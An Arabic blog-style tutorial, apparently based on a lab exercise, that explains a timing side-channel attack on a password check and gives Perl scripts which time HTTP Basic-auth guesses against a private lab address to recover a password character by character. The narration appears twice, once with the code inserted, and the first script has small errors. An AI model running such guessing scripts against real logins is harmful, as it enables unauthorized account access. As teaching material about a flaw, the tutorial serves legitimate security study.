Attacking authentication
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
اللهم علمنا ماينفعنا وانفعنا بما علمتنا ياعليم يارحيم
اليوم موضوعي هو مهاجمة التحقق
بعض التحققات تكون مبينة على اساس المقارنة يعني
ياخذ الكلمة السرية اللي تكتبها واسم المستخدم ويقارنه باللي موجود عنده , وهذا يعتبر خطا في البرمجة ويؤدي لتجاوز التحقق
ولنفرض ان اسم المستخدم هو "محمد" اختراقنا راح يكون على اساس المقارنة وكم راح تاخذ المقارنة من وقت
انا جيت عند اسم المستخدم وكتبت " خ" واضغط انتر
الان عملية التحقق تبدا في الموقع وراح تاخذ العملية وقت احنا اختراقنا راح يكون على الاساس هذا
نبدا نجرب كل حرف وكم يستغرق وقت للتحقق والحرف اللي ياخذ اكبر وقت هو الحرف الصحيح
...
طبعنا العملية لو بتسويها بيدك راح تاخذ وقت كثير ولذلك نلجأ الى الله ثم البيرل
الموضع يحتاج له شوية خلفية في البيرل
بسم الله نبدا...
اول شي
الان اول سطر هو لاستخدام البيرل
السطر الثاني مكتبه فيها دالة نحسب بها الووقت
هذي مكتبه عشان نقدر نرسل طلبات الاتصال
الان نعرف مصفوفة راح يكون فيها الاحرف كلها مع الارقام
ونبدا لووب في المصفوفة عشان نجرب الحروف والارقام الموجودة في المصفوفة اللي هي السطر الثاني
الان قبل مانبدا كل شي راح ناخذ الوقت ونسنده للمتغير time
ونبدا نكون الاتصال ونجرب الاحرف اللي في المصفوفة حقتنا
واخر شي نحسب الوقت ونشوف
تعالو نجرب الكود ونشوف ايش يصير
اممممم ...
نشوف حرف p ماخذ وقت كثير وهذا يدل انّه اول حرف
الان نرجع نعدل على الكود ونضيف اول حرف p ونخليه يسوي لوب مره ثانية
ونرجع نشغل الكود مره ثانية
مثل مانتوا شايفين رقم 4 اخذ وقت اكثر من غيره
ونرجع نضيفه ونشغل الكود مره ثانية
حتى نصل للباسوورد المطلوب
تم بحمد الله
السلام عليكم ورحمة الله وبركاته
اللهم علمنا ماينفعنا وانفعنا بما علمتنا ياعليم يارحيم
اليوم موضوعي هو مهاجمة التحقق
بعض التحققات تكون مبينة على اساس المقارنة يعني
ياخذ الكلمة السرية اللي تكتبها واسم المستخدم ويقارنه باللي موجود عنده , وهذا يعتبر خطا في البرمجة ويؤدي لتجاوز التحقق
ولنفرض ان اسم المستخدم هو "محمد" اختراقنا راح يكون على اساس المقارنة وكم راح تاخذ المقارنة من وقت
انا جيت عند اسم المستخدم وكتبت " خ" واضغط انتر
الان عملية التحقق تبدا في الموقع وراح تاخذ العملية وقت احنا اختراقنا راح يكون على الاساس هذا
نبدا نجرب كل حرف وكم يستغرق وقت للتحقق والحرف اللي ياخذ اكبر وقت هو الحرف الصحيح
طبعنا العملية لو بتسويها بيدك راح تاخذ وقت كثير ولذلك نلجأ الى الله ثم البيرل
الموضع يحتاج له شوية خلفية في البيرل
بسم الله نبدا...
اول شي
#/usr/bin/perl use Time::HiRes qw(gettimeofday);
الان اول سطر هو لاستخدام البيرل
السطر الثاني مكتبه فيها دالة نحسب بها الووقت
use LWP::UserAgent;
هذي مكتبه عشان نقدر نرسل طلبات الاتصال
@a = (a..z,A..Z,1..9); foreach $a (@a){
الان نعرف مصفوفة راح يكون فيها الاحرف كلها مع الارقام
ونبدا لووب في المصفوفة عشان نجرب الحروف والارقام الموجودة في المصفوفة اللي هي السطر الثاني
$time = gettimeofday; $req = HTTP::Request->new(GET => 'http://172.16.39.128/authentication/example2/'); $req->authorization_basic ('hacker',"a"); $res = $ua->request($req)->code; $time2 = gettimeofday; print $time2 - $time . " => " . $res . " => $a\n" ; if($res == 200){ print "PINGO...\n"; exit; } }
الان قبل مانبدا كل شي راح ناخذ الوقت ونسنده للمتغير time
ونبدا نكون الاتصال ونجرب الاحرف اللي في المصفوفة حقتنا
واخر شي نحسب الوقت ونشوف
تعالو نجرب الكود ونشوف ايش يصير
اممممم ...
نشوف حرف p ماخذ وقت كثير وهذا يدل انّه اول حرف
الان نرجع نعدل على الكود ونضيف اول حرف p ونخليه يسوي لوب مره ثانية
#/usr/bin/perl -w use Time::HiRes qw(gettimeofday tv_interval); use LWP::UserAgent; $ua = LWP::UserAgent->new; @a = (a..z,A..Z,1..9); foreach $a (@a){ $time = gettimeofday; $req = HTTP::Request->new(GET => 'http://172.16.39.128/authentication/example2/'); $req->authorization_basic ('hacker',"p$a"); $res = $ua->request($req)->code; $time2 = gettimeofday; print $time2 - $time . " => " . $res . " => $a\n" ; if($res == 200){ print "PINGO...\n"; exit; } }
ونرجع نشغل الكود مره ثانية
مثل مانتوا شايفين رقم 4 اخذ وقت اكثر من غيره
ونرجع نضيفه ونشغل الكود مره ثانية
حتى نصل للباسوورد المطلوب
تم بحمد الله
تعليقات
إرسال تعليق